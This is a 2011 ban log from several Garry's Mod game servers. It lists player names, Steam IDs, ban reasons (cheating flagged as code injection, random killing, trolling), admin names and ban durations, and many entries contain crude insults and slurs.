Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +1:24 pm 19-08-11 ^8Killerfruit STEAM_0:1:13797102 You are a massive +cock +[SP]+ Gigaknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 6:22:40 Unbanned +10:48 am 19-08-11 Unknown STEAM_0:1:35849114 Cheat: Eradicate +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:47 am 19-08-11 Unknown STEAM_0:1:39945838 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:39 am 19-08-11 EXTREME RICE! STEAM_0:0:36792736 RDM +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +4:49 am 19-08-11 rock_war123 STEAM_0:1:40379940 You sound like a bit +of a twat, the reports say +[SP]+ Gigaknite Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 6:22:40 Unbanned +4:48 am 19-08-11 fluffybunnyrabbit STEAM_0:1:39842495 I WILL FUCK +YOUR SHIT UP, YOU LITTLE FUCK! +[SP]+ Gigaknite Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 6:22:40 Unbanned +12:14 am 19-08-11 Igortheone STEAM_0:1:19945696 insulting people +Wigbig Official Zombified World|Fixin Stuff Zombified World 0:10:0 +Unbanned +11:51 pm 18-08-11 Generalmorg STEAM_0:1:12578823 RDM +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:22:40 +Unbanned +11:35 pm 18-08-11 HardcoreDonuts STEAM_0:0:35960738 reported to be a +pain in the ass +[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:22:40 Unbanned +11:33 pm 18-08-11 Spero78 STEAM_0:1:33168641 your karma stinks ++[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:20:40 Unbanned +8:09 pm 18-08-11 Unknown STEAM_0:1:7308244 Your karma stinks +[SP]+ +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:18:40 Unbanned +3:17 pm 18-08-11 Foxtrot STEAM_0:1:33355913 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +11:22 pm 17-08-11 Unknown STEAM_0:1:13709339 Cheat: LHM (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:21 pm 17-08-11 Unknown STEAM_0:1:25783134 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:20 pm 17-08-11 Unknown STEAM_0:1:3992689 Cheat: LHM (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:18 pm 17-08-11 Unknown STEAM_0:0:29437358 Cheat: LHM (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:17 pm 17-08-11 Unknown STEAM_0:1:14239923 Cheat: Inkbot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:17 pm 17-08-11 Unknown STEAM_0:1:37543716 Cheat: Inkbot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:15 pm 17-08-11 Unknown STEAM_0:1:42084743 Cheat: Gooberhack +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:14 pm 17-08-11 Unknown STEAM_0:0:26637072 Cheat: Herpaflerp +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:13 pm 17-08-11 Unknown STEAM_0:0:19735449 Cheat: Litebotgarry +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:12 pm 17-08-11 Unknown STEAM_0:0:19561634 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:10 pm 17-08-11 Unknown STEAM_0:1:3176600 Cheat: Mydik (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:10 pm 17-08-11 Unknown STEAM_0:0:25295126 Cheat: Mydik +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 17-08-11 Unknown STEAM_0:0:34092283 Cheat: Gooberhack +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:08 pm 17-08-11 Unknown STEAM_0:1:13014240 Cheat: Mydik +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:08 pm 17-08-11 Unknown STEAM_0:0:2255757 Cheat: Mydik (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:07 pm 17-08-11 Unknown STEAM_0:1:6018850 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:07 pm 17-08-11 Unknown STEAM_0:0:29248785 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:06 pm 17-08-11 Unknown STEAM_0:0:33017392 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:23 pm 17-08-11 Unknown STEAM_0:1:21070475 RDM, bad excuse +alternatively leaving without explaining. Voted Mags a cunt +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:11 pm 17-08-11 Voted Mags a cunt STEAM_0:0:10087476 test Voted +Mags a cunt Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:1 Unbanned +9:07 pm 17-08-11 +[SP]+ ULTRA STEAM_0:0:10087476 test +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 Unbanned +6:49 pm 17-08-11 Voted Mag's a cunt STEAM_0:0:10087476 test +[SP]+ +CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 Unbanned +6:42 pm 17-08-11 /)SW * Ð?опник Ð?аÑ?Ñ? STEAM_0:0:33973217 RDM, +Ultra +[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +2:20 am 17-08-11 ..{DG}..GeneralWilkins..{GD}.. STEAM_0:1:2595722 +destroying faction props as loner Wigbig Official Zombified +World|Fixin Stuff Zombified World 0:0:10 Unbanned +2:08 am 17-08-11 warmdahl STEAM_0:1:27205037 RDM +[SP]+ Suicidal +Robot Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:3:0 +Unbanned +1:56 am 17-08-11 Overwatch Elite STEAM_0:0:27058039 being an ass +Wigbig Official Zombified World|Fixin Stuff Zombified World 0:0:10 +Unbanned +11:49 pm 16-08-11 Sam (Dr. Cocktopus) STEAM_0:0:24255629 trolling +with links +[SP]+ Suicidal Robot Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 0:2:0 Unbanned +10:58 pm 16-08-11 â?¢--CroWellE-â?¢ STEAM_0:1:28458088 Melon killing +on several occasions : v +[SP]+ Nekoace Official Zombified World|Fixin +Stuff Zombified World 6:22:40 Unbanned +10:49 pm 16-08-11 XToasterX STEAM_0:1:39841913 Destroying props ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +1:9:20 Unbanned +12:26 pm 16-08-11 Unknown STEAM_0:0:28878438 Begging for games and +stuff despite knowing im a poor student (Console) Fretta|Tigergruppe +Kommand Sniper Wars Permanent Banned +11:19 am 16-08-11 Unknown STEAM_0:1:17510845 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +10:44 pm 15-08-11 ¾ of a Burger STEAM_0:0:19598123 general FAggot ++[SP]+ Nekoace Killa's Zombie Survival Server Zombie Survival +6:22:40 Unbanned +10:08 pm 15-08-11 Fizzdar STEAM_0:0:19944614 faggit Crusty +Irishman Official Zombified World|Fixin Stuff Zombified World +Permanent Banned +7:20 pm 15-08-11 Unknown STEAM_0:0:15141245 Cheat: Aspergers +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +7:19 pm 15-08-11 Unknown STEAM_0:1:10569351 Cheat: Eradicate +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:26 pm 15-08-11 Medic STEAM_0:1:30857614 trader isndie base +Wigbig Official Zombified World|Fixin Stuff Zombified World 0:0:30 +Unbanned +1:07 am 15-08-11 â?¤ à¹?Û£Û?pµnshîîcooL^^â?¤ STEAM_0:0:38328038 +prop kill Wigbig Official Zombified World|Fixin Stuff Zombified +World 0:0:30 Unbanned +12:42 am 15-08-11 [SST] Trevanion STEAM_0:1:34928714 You sound like a +cocksuck +[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +12:41 am 15-08-11 [SST] Grayson STEAM_0:1:33722997 I forget +[SP]+ +Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:11 pm 14-08-11 Unknown STEAM_0:1:11196074 RDM and the left +[SP]+ +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:10 pm 14-08-11 Unknown STEAM_0:0:8948262 RDM and the left +[SP]+ +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +7:12 pm 14-08-11 +[SP]+ xXxbadboyxXx STEAM_0:1:40367791 fake tags ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +1:9:20 Unbanned +6:08 pm 14-08-11 >^4[TOotH]Mirandous[M] STEAM_0:0:17058321 faction +exploiting +[SP]+ Nekoace Official Zombified World|Fixin Stuff +Zombified World 1:9:20 Unbanned +5:31 pm 14-08-11 Unknown STEAM_0:1:37475407 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:02 pm 14-08-11 Unknown STEAM_0:1:32460835 bun +[SP]+ MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +4:22 pm 14-08-11 Pelf STEAM_0:1:10994497 prop killing Wigbig +Official Zombified World|Fixin Stuff Zombified World 0:1:0 Unbanned +2:58 pm 14-08-11 Clank STEAM_0:1:5492145 penispenispenispenis +[SP]+ +MAD MANN Official Zombified World|Fixin Stuff Zombified World 0:0:1 +Unbanned +1:36 pm 14-08-11 abbe STEAM_0:0:35457795 RDM +[SP]+ MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +12:25 am 14-08-11 DarklightPyro STEAM_0:1:4194785 Low Karma +[SP]+ +Suicidal Robot Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:3:0 Unbanned +8:18 pm 13-08-11 G3 ohrlynao STEAM_0:1:37464404 annoying troll ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +3:11:20 Unbanned +7:59 pm 13-08-11 MR.toast STEAM_0:1:29884665 Faction exploiting ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +1:9:20 Unbanned +6:33 pm 13-08-11 INSANECAT STEAM_0:0:11431595 RDM, Attempt to +Mass-RDM with Grenade. +[SP]+ Bloodcore Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 41:16:0 Unbanned +10:07 am 13-08-11 Unknown STEAM_0:0:24379062 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:37 am 13-08-11 Unknown STEAM_0:1:42769259 massive RDMing +[SP]+ +Searaphim Fretta|Tigergruppe Kommand Deathrun Permanent Banned +10:33 pm 12-08-11 Kris STEAM_0:0:28878438 Low karma +[SP]+ Suicidal +Robot Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 +Unbanned +10:11 pm 12-08-11 TheKakemonster STEAM_0:1:35111385 RDM +[SP]+ +Suicidal Robot Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:0:0 Unbanned +9:03 pm 12-08-11 alx1379 STEAM_0:1:39931371 Wigbig Killa's Zombie +Survival Server Zombie Survival 695:0:0 Banned +2:47 pm 12-08-11 umpalumpa that fell STEAM_0:1:30453654 Mic spam +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +2:46 pm 12-08-11 J D STEAM_0:1:17335445 Idiot (Extended for whining +on teamspeak. Flapadar Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 695:10:40 Banned +12:07 pm 12-08-11 Unknown STEAM_0:0:26024904 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:12 am 12-08-11 Unknown STEAM_0:0:16759432 Kthxbye... and dont come +back +[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +2:07 am 12-08-11 Unknown STEAM_0:1:15263858 Reported, also banned +from other servers +[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble +in Terrorist Town Permanent Banned +2:55 am 11-08-11 TheAlmightyWatermelonCat STEAM_0:1:8284920 opps ++[SP]+ MAD MANN Official Zombified World|Fixin Stuff Zombified World +6:22:40 Unbanned +10:31 pm 10-08-11 NeW MoDDeR iN ToWN STEAM_0:0:40030069 Rdm +[SP]+ +Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +10:14 pm 10-08-11 Unknown STEAM_0:0:35367941 Ghosting/dumb +(Console) Fretta|Tigergruppe Kommand Deathrun 2:18:40 Unbanned +8:27 pm 10-08-11 =[CR]=green STEAM_0:0:39083268 Alt of banned ID +STEAM_0:0:39083268 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 6:23:42 Unbanned +8:10 pm 10-08-11 =[CR]=green STEAM_0:0:39083268 faction exploiting ++[SP]+ Suicidal Robot Official Zombified World|Fixin Stuff Zombified +World 7:0:0 Unbanned +6:53 pm 10-08-11 Unknown STEAM_0:0:35626266 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:53 pm 10-08-11 Unknown STEAM_0:1:25636734 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:25 pm 09-08-11 BistroEngine STEAM_0:0:10625714 Wants banned +Flapadar Fretta|Tigergruppe Kommand Suicide Barrels Permanent Banned +5:53 pm 09-08-11 Dorkslayz STEAM_0:0:24388264 Alt of banned ID +STEAM_0:0:24388264 (Console) Official Zombified World|Fixin Stuff +Zombified World Permanent Banned +5:22 pm 09-08-11 Dorkslayz STEAM_0:0:24388264 Alt of banned ID +STEAM_0:0:24388264 (Console) Killa's Zombie Survival Server Zombie +Survival Permanent Banned +4:36 pm 09-08-11 OdxWolf STEAM_0:1:25149366 Mass Rdm +[SP]+ +Spellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +4:31 pm 09-08-11 Jmazouri STEAM_0:1:7036767 Fuck off +[SP]+ +Spellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +11:38 am 09-08-11 Unknown STEAM_0:0:33177474 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Surf Permanent Banned +4:09 am 09-08-11 Unknown STEAM_0:1:18639351 RDM +[SP]+ Searaphim +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 Unbanned +4:07 am 09-08-11 Unknown STEAM_0:1:18639351 RDM +[SP]+ Searaphim +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:20:0 Unbanned +4:01 am 09-08-11 Your Name Here STEAM_0:0:18742858 Massive RDMing +"your name here" is dead. Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +10:47 pm 08-08-11 muggi5 STEAM_0:0:31257948 Prop surfing, even after +warnings. +[SP]+ Nekoace Official Zombified World|Fixin Stuff +Zombified World 0:16:40 Unbanned +10:15 pm 08-08-11 Unknown STEAM_0:0:19255097 rdm [ +[SP]+ Suicidal +Robot Fretta|Tigergruppe Kommand Deathrun 2:0:0 Unbanned +10:00 pm 08-08-11 Wunder Shnitzel STEAM_0:0:21528575 Constant abuse ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +179:16:10 Unbanned +12:51 pm 08-08-11 Unknown STEAM_0:0:24388264 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:50 am 08-08-11 Unknown STEAM_0:0:39817531 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +2:01 am 08-08-11 Illuminescence STEAM_0:0:36420722 Alt of banned ID +STEAM_0:1:21977353 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +1:06 am 08-08-11 DragonSaul STEAM_0:1:12466534 Rdm then disconnect ++[SP]+ Spellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 6:22:40 Unbanned +10:56 pm 07-08-11 DarkStar STEAM_0:1:26800531 Nice shot, fuckass! ++[SP]+ Spellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 3:11:20 Unbanned +4:58 pm 07-08-11 Unknown STEAM_0:1:18969654 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:54 pm 07-08-11 Asian Inflamation STEAM_0:0:27250165 Idiot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:53 pm 07-08-11 [Ojjjjah] peteisfat STEAM_0:0:26936580 Idiot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:53 pm 07-08-11 Unknown STEAM_0:1:6016470 Idiot (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +4:52 pm 07-08-11 [Ojjjjah] Hemiriffic Jones STEAM_0:1:6016470 Idiot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:00 am 07-08-11 Unknown STEAM_0:0:38403849 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:00 am 07-08-11 Faith In a .45 STEAM_0:0:34037139 no you Wigbig +Fretta|Tigergruppe Kommand Deathrun 6:22:39 Unbanned +10:22 pm 06-08-11 absoluteNOISE STEAM_0:1:23134354 Complete retard ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +Permanent Banned +9:31 pm 06-08-11 Unknown STEAM_0:1:31758803 i hate the fucking admins +here mindless fucktards Flapadar Fretta|Tigergruppe Kommand Trouble +in Terrorist Town Permanent Banned +9:16 pm 06-08-11 Unknown STEAM_0:1:474018 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:30 pm 06-08-11 Unknown STEAM_0:1:25484778 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:30 pm 06-08-11 Unknown STEAM_0:0:31109435 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:27 pm 06-08-11 Kirvin STEAM_0:1:33803502 Alt of banned ID +STEAM_0:1:33803502 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 6:21:27 Unbanned +4:15 pm 06-08-11 Kirvin STEAM_0:1:33803502 Several broken rules ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +6:22:40 Unbanned +4:14 pm 06-08-11 Egg STEAM_0:1:25657133 Several broken rules. +[SP]+ +Nekoace Official Zombified World|Fixin Stuff Zombified World +6:22:40 Unbanned +12:59 am 06-08-11 mandark STEAM_0:0:404578 Been banned before, still +being shithead' +[SP]+ Spellknite Fretta|Tigergruppe Kommand Trouble +in Terrorist Town Permanent Banned +10:01 pm 05-08-11 Chill Bros TTT: No Madmins STEAM_0:1:9920942 +Trolling/advertising +[SP]+ Nekoace Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 3:11:20 Unbanned +9:36 pm 05-08-11 Captain Winkleberry STEAM_0:1:16807797 Provoking an +admin and trolling +[SP]+ Nekoace Killa's Zombie Survival Server +Zombie Survival 1:9:20 Unbanned +9:18 pm 05-08-11 Unknown STEAM_0:1:25560081 Cheat: Code injection +(Console) Killa's Zombie Survival Server Zombie Survival Permanent +Banned +8:59 pm 05-08-11 +[SP]+Demon.Koneko STEAM_0:1:22051802 fags tags/ +ignoring warnings +[SP]+ Nekoace Killa's Zombie Survival Server +Zombie Survival 3:11:20 Unbanned +8:48 pm 05-08-11 +[SP]+green mod! STEAM_0:0:38614876 Ignoring me/Fake +tags +[SP]+ Nekoace Killa's Zombie Survival Server Zombie Survival +3:11:20 Unbanned +6:31 pm 05-08-11 Wunder Shnitzel STEAM_0:0:21528575 Being +disrespectful and racist to an SP member +[SP]+ Nekoace Official +Zombified World|Fixin Stuff Zombified World 1:9:20 Unbanned +10:12 am 05-08-11 The Dude - Need lua help! STEAM_0:0:16759432 RDM + +Possible troll Skyrim Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:18:40 Unbanned +10:11 am 05-08-11 Dr. Shockalu STEAM_0:0:17227164 Troll Skyrim +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +10:11 am 05-08-11 Poolbutt McGyverson the Awesome STEAM_0:1:5273884 +Troll Skyrim Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:11 am 05-08-11 poobutts beware STEAM_0:0:3293266 Troll Skyrim +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +10:02 am 05-08-11 Unknown STEAM_0:0:42440544 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:47 am 05-08-11 Unknown STEAM_0:0:26707259 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +11:57 pm 04-08-11 Unknown STEAM_0:0:33752125 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:59 pm 04-08-11 +[SP]+ Phil STEAM_0:0:26538751 didnt respond when +asked to Wigbig Fretta|Tigergruppe Kommand Deathrun 0:0:5 Unbanned +10:54 pm 04-08-11 Elysia STEAM_0:0:16962740 asked me to Wigbig +Fretta|Tigergruppe Kommand Deathrun 0:0:1 Unbanned +9:30 pm 04-08-11 Unknown STEAM_0:1:37436782 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:21 pm 04-08-11 +[SP]+ Ã?ĤâţÄ?ḼâÄ? STEAM_0:1:29265352 Alt of +banned ID STEAM_0:1:40464733 (Console) Fretta|Tigergruppe Kommand +Snifer 0:0:0 Unbanned +6:08 pm 04-08-11 [CSN]EmoObama STEAM_0:1:17747265 Teamkilling +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Snifer 0:5:0 Unbanned +4:27 pm 04-08-11 Herry the secret of mana STEAM_0:1:13870574 Deleting +base during war and claiming i abused my admin. +[SP]+ Nekoace +Official Zombified World|Fixin Stuff Zombified World 3:11:20 Unbanned +3:23 pm 04-08-11 (1)Aperture Science STEAM_0:1:40464733 Impersonating +other users with name exploit (Console) Fretta|Tigergruppe Kommand +Deathrun 4:15:6 Unbanned +3:22 pm 04-08-11 console STEAM_0:1:3429074 Retard trying to pretend +to be console (Console) Fretta|Tigergruppe Kommand Deathrun +6:22:40 Unbanned +3:21 pm 04-08-11 (1)Disturbed STEAM_0:0:11859704 Impersonating other +users with name exploit (This is actually the real one) (Console) +Fretta|Tigergruppe Kommand Deathrun 0:0:0 Unbanned +3:20 pm 04-08-11 (0)Disturbed STEAM_0:1:13438690 Impersonating other +users with name exploit - apologised (Console) Fretta|Tigergruppe +Kommand Deathrun 0:0:0 Unbanned +3:19 pm 04-08-11 [WS] Waffles101 STEAM_0:1:30713439 Retard trying to +pretend to be console - Unbanned - apologised ( +http://stonedpotatoes.com/viewtopic.php?f=19&p=27350#p27350 ) +(Console) Fretta|Tigergruppe Kommand Deathrun 0:0:0 Unbanned +3:17 pm 04-08-11 STEAM_0:1:30827851 Name exploit (Console) +Fretta|Tigergruppe Kommand Deathrun 6:22:40 Unbanned +3:16 pm 04-08-11 +[SP]+ St. Hetfield STEAM_0:0:19007113 Name exploit +(Unbanned - HLSW copied wrong ID) (Console) Fretta|Tigergruppe +Kommand Deathrun 0:0:0 Unbanned +1:56 pm 04-08-11 Forsaken Kitteh STEAM_0:0:21704689 rdm with +grenades Moaby Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:40 Unbanned +10:55 am 04-08-11 Unknown STEAM_0:1:31947311 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:54 am 04-08-11 Unknown STEAM_0:1:23946737 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:47 pm 03-08-11 +[SP]+ TheManNamedGuy STEAM_0:0:22217376 IGNORING +ME, HUH? +[SP]+ Hellknite Fretta|Tigergruppe Kommand Deathrun +1:0:0 Unbanned +10:39 pm 03-08-11 Unknown STEAM_0:0:40352700 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +10:34 pm 03-08-11 Unknown STEAM_0:1:10586343 Faction exploiting ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +1:9:20 Unbanned +10:33 pm 03-08-11 Unknown STEAM_0:1:5716011 Faction exploiting ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +1:9:20 Unbanned +10:32 pm 03-08-11 Unknown STEAM_0:1:28064336 Faction exploiting ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +1:9:20 Unbanned +10:18 pm 03-08-11 Mr. Fister 69 STEAM_0:0:19255097 +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Deathrun 0:10:0 Unbanned +10:17 pm 03-08-11 absoluteNOISE STEAM_0:1:23134354 Faction +exploiting +[SP]+ Nekoace Official Zombified World|Fixin Stuff +Zombified World 2:2:0 Unbanned +7:22 pm 03-08-11 Nilbogg the gore-goblin STEAM_0:1:36485837 Traitor +RDM and a massive dild Flapadar Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +7:17 pm 03-08-11 Mr.Moonkin STEAM_0:0:27959854 RDM and knew it +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +12:45 pm 03-08-11 Declivity STEAM_0:0:32212205 rdm Wigbig +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:8:20 Unbanned +12:44 pm 03-08-11 Flx[aut] STEAM_0:0:30971803 rdm Wigbig +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:8:20 Unbanned +12:37 am 03-08-11 ã??»'HcD»'вÏ?Ñ?ηã?? STEAM_0:0:35367941 Fuck +yourself, RDMing dipshit +[SP]+ Hellknite Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 6:22:40 Unbanned +11:53 pm 02-08-11 Batman STEAM_0:0:804730 Hey, I'm Batman (RDM) ++[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +7:54 pm 02-08-11 Unknown STEAM_0:0:20038304 Trolling SP members ++[SP]+ Nekoace Killa's Zombie Survival Server Zombie Survival +6:22:40 Unbanned +7:02 pm 02-08-11 +[SP]+Danzomanzo STEAM_0:1:17606381 Alt of banned ID +STEAM_0:1:16391734 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:0 Unbanned +6:02 pm 02-08-11 «ASC» Gearyâ?¢ STEAM_0:1:16391734 Ban - Unbanned +by Flap - horse shit reason for ban Cutie Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:0:0 Unbanned +5:02 pm 02-08-11 G_Hecker STEAM_0:1:29392297 +[SP]+ Nekoace Killa's +Zombie Survival Server Zombie Survival Permanent Banned +10:41 am 02-08-11 Unknown STEAM_0:1:24346494 Cheat: Code injection +(Console) Official Zombified World|Fixin Stuff Zombified World +Permanent Banned +4:33 pm 01-08-11 Unknown STEAM_0:0:41087968 Cheat: Code injection +(Console) Official Zombified World|Fixin Stuff Zombified World +Permanent Banned +2:00 pm 01-08-11 SAUSAGE Ò? STEAM_0:1:28388766 Mass RDM +[SP]+ +Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +11:31 am 01-08-11 Nubcake [R.G] STEAM_0:0:25713141 Alt of banned ID +STEAM_0:0:24963345 (Console) Killa's Zombie Survival Server Zombie +Survival Permanent Banned +12:58 am 01-08-11 Contrajoe STEAM_0:1:14960496 Traitor TK +[SP]+ +No Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 Unbanned +12:32 am 01-08-11 Unknown STEAM_0:0:23397918 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 01-08-11 Kliuyyyy STEAM_0:0:29757421 LOL BAN Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:12 pm 31-07-11 Unknown STEAM_0:0:21350010 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:46 am 31-07-11 Lammas Uuno STEAM_0:0:36537111 Alt of banned ID +STEAM_0:1:12115323 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +2:50 am 31-07-11 happy days STEAM_0:0:7291342 Mic spam ¤<[Foxes]> +CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:6:40 +Unbanned +2:47 am 31-07-11 BARNEY!!!! STEAM_0:0:20578969 Mic Spam +¤<[Foxes]> CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:7:30 Unbanned +5:51 am 30-07-11 Unknown 